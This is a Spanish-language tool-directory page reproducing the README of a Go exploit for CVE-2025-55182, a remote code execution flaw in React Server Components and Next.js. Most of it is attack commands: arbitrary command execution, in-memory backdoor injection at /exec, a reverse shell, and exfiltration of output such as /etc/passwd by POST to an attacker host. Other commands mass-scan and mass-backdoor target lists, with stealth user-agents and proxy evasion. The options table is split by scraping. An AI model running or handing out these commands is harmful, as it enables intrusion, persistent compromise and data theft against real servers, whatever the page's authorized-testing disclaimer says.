Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182-golang-PoC — Prueba de concepto basada en Go para CVE-2025-55182, una RCE crítica en React Server Components. Incluye verificación de vulnerabilidad, ejecución de comandos, inyección de shell en memoria, reverse shell, escaneo por lotes y soporte de proxy para pruebas de seguridad autorizadas. | Kitploit
Herramientas/GitHubGitHub/keklick1337/cve-2025-55182-golang-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de PenetraciónComando y ControlRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubkeklick1337/cve-2025-55182-golang-poc

CVE-2025-55182-golang-PoC

Ver RepositorioSitio web
611hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Prueba de concepto basada en Go para CVE-2025-55182, una RCE crítica en React Server Components. Incluye verificación de vulnerabilidad, ejecución de comandos, inyección de shell en memoria, reverse shell, escaneo por lotes y soporte de proxy para pruebas de seguridad autorizadas.

Compartir

CVE-2025-55182 Ejecución Remota de Código en React Server Components - PoC en Go

⚠️ SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS ⚠️

Descripción

CVE-2025-55182 (también conocido como CVE-2025-66478) es una vulnerabilidad crítica de Ejecución Remota de Código en los Componentes del Servidor de React (protocolo Flight). Esta herramienta es una implementación en Go del PoC para investigación de seguridad y pruebas de penetración autorizadas.

Versiones afectadas:

  • react-server-dom-webpack: 19.0.0 - 19.2.0
  • Next.js: 15.x (antes de los parches: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7)
  • Next.js: 16.x (antes de 16.0.7)
  • Next.js: 14.3.0-canary.77 y versiones canary posteriores

Detalles de la Vulnerabilidad

El exploit se aprovecha de la contaminación del prototipo en la deserialización del protocolo Flight:

  1. Utiliza la deserialización $@ para obtener una referencia a un Chunk
  2. Coloca Chunk.prototype.then como la propiedad then del objeto raíz
  3. Establece el estado a para llamar a con un chunk falso controlado
RESOLVED_MODEL
initializeModelChunk
  • Activa la deserialización de Blob que llama a response._formData.get con la carga útil del atacante
  • Establece response._formData.get en el constructor Function para la ejecución arbitraria de código
  • Características

    • Capacidad completa de RCE - Ejecuta comandos arbitrarios con salida
    • Modo de verificación de vulnerabilidad - Detección segura sin explotación
    • Detección de versión de Next.js - Identificación automática de versiones
    • Inyección de Shell en Memoria - Puerta trasera persistente en /exec?cmd=
    • Escaneo por lotes - Escaneo multihilo con salida JSON
    • Soporte completo de proxies:
      • SOCKS5 con/sin autenticación
      • SOCKS4/SOCKS4a
      • Proxy HTTP/HTTPS con/sin autenticación
    • Modo sigiloso - User-Agents de navegador, rastreador, seguridad
    • Límite de velocidad - Retrasos configurables entre peticiones
    • Shell inversa - mkfifo + nc (funciona en Alpine/busybox)
    • Exfiltración de datos - Envío de salida de comandos mediante POST al servidor atacante
    • Compilaciones multiplataforma - Más de 30 combinaciones de SO/arquitectura
    • Salida JSON - Resultados legibles por máquina para automatización

    Instalación

    Binarios Precompilados

    Descarga la última versión para tu plataforma desde GitHub Releases.

    Binarios disponibles:

    • Linux: amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
    • Windows: amd64, 386, arm64
    • macOS: amd64 (Intel), arm64 (Apple Silicon)
    • FreeBSD, OpenBSD, NetBSD: amd64, 386, arm, arm64
    • Y más...

    Desde el Código Fuente

    root@kitploit:~
    # Clonar repositorio
    git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
    cd CVE-2025-55182-golang-PoC
    
    # Compilar para la plataforma actual
    go build -o cve-2025-55182 .
    
    # O compilar para todas las plataformas
    chmod +x build.sh
    ./build.sh
    

    Compilar desde el Código Fuente

    Después de ejecutar ./build.sh, los binarios estarán disponibles en el directorio build/ para todas las plataformas compatibles.

    Uso

    Comandos Básicos

    root@kitploit:~
    # Verificar vulnerabilidad en un objetivo
    ./cve-2025-55182 -u http://target:3000 --check
    
    # Detectar versión de Next.js
    ./cve-2025-55182 -u http://target:3000 --version-check
    
    # Ejecutar comando con salida
    ./cve-2025-55182 -u http://target:3000 -c "id"
    ./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
    

    Shell en Memoria (Puerta Trasera Persistente)

    root@kitploit:~
    # Inyectar shell en memoria (primero comprueba si ya está instalada)
    ./cve-2025-55182 -u http://target:3000 --memshell
    
    # Probar si la shell en memoria está activa
    ./cve-2025-55182 -u http://target:3000 --test-shell
    
    # Ejecutar comando a través de la shell en memoria
    ./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
    
    # Después de la inyección, también puedes usar curl directamente:
    curl 'http://target:3000/exec?cmd=id'
    curl 'http://target:3000/exec?cmd=whoami'
    

    Cabeceras Personalizadas y Omisión de SSL

    root@kitploit:~
    # Añadir cabeceras personalizadas (se puede usar varias veces)
    ./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
    ./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
    
    # Omitir verificación de certificado SSL (para certificados autofirmados)
    ./cve-2025-55182 -u https://target:3000 --check -k
    ./cve-2025-55182 -u https://target:3000 --check --insecure
    
    # Combinar con otras opciones
    ./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
    

    Soporte de Proxy

    root@kitploit:~
    # SOCKS5 con autenticación
    ./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
    
    # SOCKS5 sin autenticación
    ./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
    
    # Proxy SOCKS4
    ./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
    
    # Proxy HTTP
    ./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
    

    Escaneo por Lotes

    root@kitploit:~
    # Verificar por lotes desde archivo
    ./cve-2025-55182 --urls targets.txt --check
    
    # Escaneo por lotes con salida JSON
    ./cve-2025-55182 --urls targets.txt --check --json -o results.json
    
    # Escaneo por lotes con múltiples hilos y modo sigiloso
    ./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
    
    # Guardar objetivos vulnerables en un archivo
    ./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
    
    # Inyección de shell en memoria por lotes
    ./cve-2025-55182 --urls targets.txt --memshell --workers 10
    
    # Ejecución de comandos por lotes
    ./cve-2025-55182 --urls targets.txt -c "id" --threads 5
    

    Exfiltración de Red

    root@kitploit:~
    # Shell inversa (mkfifo + nc, funciona en Alpine)
    ./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
    
    # Iniciar listener en la máquina atacante primero:
    nc -lvnp 4444
    
    # Exfiltrar salida de comando mediante HTTP POST
    ./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
    
    # Iniciar listener: nc -lvnp 4444
    

    Opciones

    OpciónDescripción
    -u, --urlURL objetivo (ej. http://localhost:3000)
    -f, --fileArchivo que contiene las URLs objetivo (una por línea)
    --urlsAlias de -f/--file
    -o, --outputArchivo de salida para los objetivos vulnerables
    --jsonMostrar resultados en formato JSON
    -c, --commandComando a ejecutar (con salida)
    --checkVerificar vulnerabilidad
    --version-checkDetectar versión de Next.js
    --proxyURL del proxy (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port)
    -H, --headerCabecera personalizada (se puede usar varias veces)
    -k, --insecureOmitir verificación de certificado SSL/TLS
    --stealthModo sigiloso: browser, crawler, security (por defecto: browser)
    --delayRetraso entre peticiones (ej. 2s, 500ms)
    --variantsUsar múltiples variantes de payload para verificación exhaustiva
    --memshellInyectar shell en memoria (puerta trasera persistente)
    --test-shellProbar si la shell en memoria está activa
    --shell-execEjecutar comando a través de la shell en memoria
    --revshell IP PORTEstablecer shell inversa
    --exfil CMD IP PORTEjecutar comando y enviar salida mediante POST
    -t, --timeoutTiempo de espera de la petición en segundos (por defecto: 15)
    --threads

    Tipos de Proxy

    root@kitploit:~
    socks5://user:pass@ip:port  - SOCKS5 con autenticación
    socks5://ip:port            - SOCKS5 sin autenticación  
    socks5h://ip:port           - SOCKS5 con resolución DNS remota
    socks4://ip:port            - Proxy SOCKS4
    socks4a://ip:port           - Proxy SOCKS4a
    http://user:pass@ip:port    - Proxy HTTP con autenticación
    http://ip:port              - Proxy HTTP sin autenticación
    https://ip:port             - Proxy HTTPS
    

    Modos Sigilosos

    ModoDescripción
    browserImita peticiones de navegadores reales (Chrome, Firefox, Safari, Edge) - por defecto
    crawlerImita rastreadores de motores de búsqueda (Googlebot, Bingbot, Baiduspider, etc.)
    securityUtiliza User-Agents de escáneres de seguridad (Nessus, Nuclei)

    Shell en Memoria

    La funcionalidad de shell en memoria inyecta una puerta trasera persistente que:

    1. Verifica primero - Antes de la inyección, comprueba si la shell ya está instalada
    2. Engancha http.Server.prototype.emit - Intercepta todas las peticiones HTTP
    3. Crea el endpoint /exec - Acepta el parámetro de consulta cmd
    4. Sobrevive hasta el reinicio - Persiste en la memoria del servidor
    root@kitploit:~
    # Después de la inyección:
    curl 'http://target:3000/exec?cmd=id'
    curl 'http://target:3000/exec?cmd=ls+-la'
    curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
    

    Estructura del Proyecto

    root@kitploit:~
    .
    ├── main.go                   # Punto de entrada CLI
    ├── pkg/
    │   ├── colors/
    │   │   └── colors.go         # Colores de terminal con soporte --nocolor
    │   ├── exploit/
    │   │   └── exploit.go        # Lógica principal del exploit, shell en memoria, detección de versión
    │   ├── proxy/
    │   │   └── proxy.go          # Soporte de proxy SOCKS4/5, HTTP
    │   ├── scanner/
    │   │   └── scanner.go        # Escaneo por lotes con salida JSON
    │   └── stealth/
    │       └── stealth.go        # Aleatorización de User-Agent
    ├── build.sh                  # Script de compilación multiplataforma
    ├── go.mod                    # Archivo de módulo Go
    ├── go.sum                    # Dependencias Go
    └── README.md                 # Este archivo
    

    Compilaciones Multiplataforma

    El script build.sh compila para más de 30 plataformas:

    • Linux: amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
    • Windows: amd64, 386, arm64 (.exe)
    • macOS: amd64 (Intel), arm64 (Apple Silicon)
    • FreeBSD: amd64, 386, arm, arm64
    • OpenBSD: amd64, 386, arm, arm64
    • NetBSD: amd64, 386, arm, arm64
    • DragonFly BSD: amd64
    • Solaris/Illumos: amd64
    • Plan 9: amd64, 386
    • AIX: ppc64
    root@kitploit:~
    chmod +x build.sh
    ./build.sh
    

    Formato de Salida JSON

    Cuando se usa la bandera --json, los resultados se guardan en formato JSONL (un JSON por línea):

    root@kitploit:~
    {"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
    

    El informe completo (_report.json) incluye:

    root@kitploit:~
    {
      "scan_time": "2025-12-06T12:00:00Z",
      "total_urls": 100,
      "vulnerable_count": 5,
      "safe_count": 90,
      "timeout_count": 5,
      "results": [...]
    }
    

    Detección de Versión

    La herramienta puede detectar la versión de Next.js a partir de:

    • Cabecera X-Powered-By
    • Código fuente HTML/JS (__NEXT_DATA__, rutas /_next/)
    • Patrones del manifiesto de compilación

    Las versiones vulnerables se resaltan en rojo.

    Descargo de Responsabilidad

    ⚠️ AVISO LEGAL IMPORTANTE ⚠️

    Esta herramienta se proporciona estrictamente con fines educativos y solo para pruebas de seguridad autorizadas.

    Uso Previsto

    • Investigación de seguridad y evaluación de vulnerabilidades
    • Pruebas de penetración autorizadas con permiso por escrito
    • Pruebas de sus propias aplicaciones e infraestructura
    • Demostración educativa en entornos de laboratorio controlados
    • Desarrollo de parches y mitigaciones de seguridad

    Uso Prohibido

    Está estrictamente prohibido usar esta herramienta:

    • Contra sistemas que no posea o para los que no tenga autorización explícita por escrito
    • Para cualquier actividad maliciosa, ilegal o no autorizada
    • Para obtener acceso no autorizado a sistemas informáticos o redes
    • En violación de cualquier ley local, estatal, nacional o internacional aplicable
    • Para interrumpir, dañar o comprometer sistemas sin autorización

    Advertencia Legal

    El acceso no autorizado a sistemas informáticos es un delito penal en la mayoría de las jurisdicciones del mundo, incluyendo, entre otras:

    • 🇺🇸 EE. UU.: Computer Fraud and Abuse Act (CFAA) - hasta 20 años de prisión
    • 🇪🇺 UE: Directiva 2013/40/UE sobre ataques contra sistemas de información
    • 🇷🇺 Rusia: Artículos 272-274 del Código Penal
    • 🇬🇧 Reino Unido: Computer Misuse Act 1990
    • 🇩🇪 Alemania: §202a-202d StGB
    • 🇨🇳 China: Artículos 285-287 del Código Penal

    Sin Garantía

    ESTE SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O IMPLÍCITA. LOS AUTORES Y TITULARES DE DERECHOS DE AUTOR NO SERÁN RESPONSABLES POR NINGUNA RECLAMACIÓN, DAÑO U OTRA RESPONSABILIDAD DERIVADA DEL USO DE ESTE SOFTWARE.

    Responsabilidad del Usuario

    Al descargar, instalar o usar esta herramienta, usted reconoce que:

    1. Es el único responsable de sus acciones
    2. Solo usará esta herramienta en sistemas que posea o para los que tenga autorización explícita para probar
    3. Comprende y acepta todos los riesgos asociados con el uso de este software
    4. El autor no asume ninguna responsabilidad por el mal uso o los daños causados

    Si no está de acuerdo con estos términos, no use esta herramienta.

    Autor

    Vladislav Tislenko alias keklick1337
    Fecha: 2025-12-05

    Licencia

    Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.


    Úsalo responsablemente. Mantente dentro de la ley. 🔐

    Descargar herramienta
    Número de hilos concurrentes (por defecto: 10)
    --workersAlias de --threads
    --nocolorDeshabilitar salida con colores (para Windows/tuberías)
    -h, --helpMostrar mensaje de ayuda
    -v, --versionMostrar versión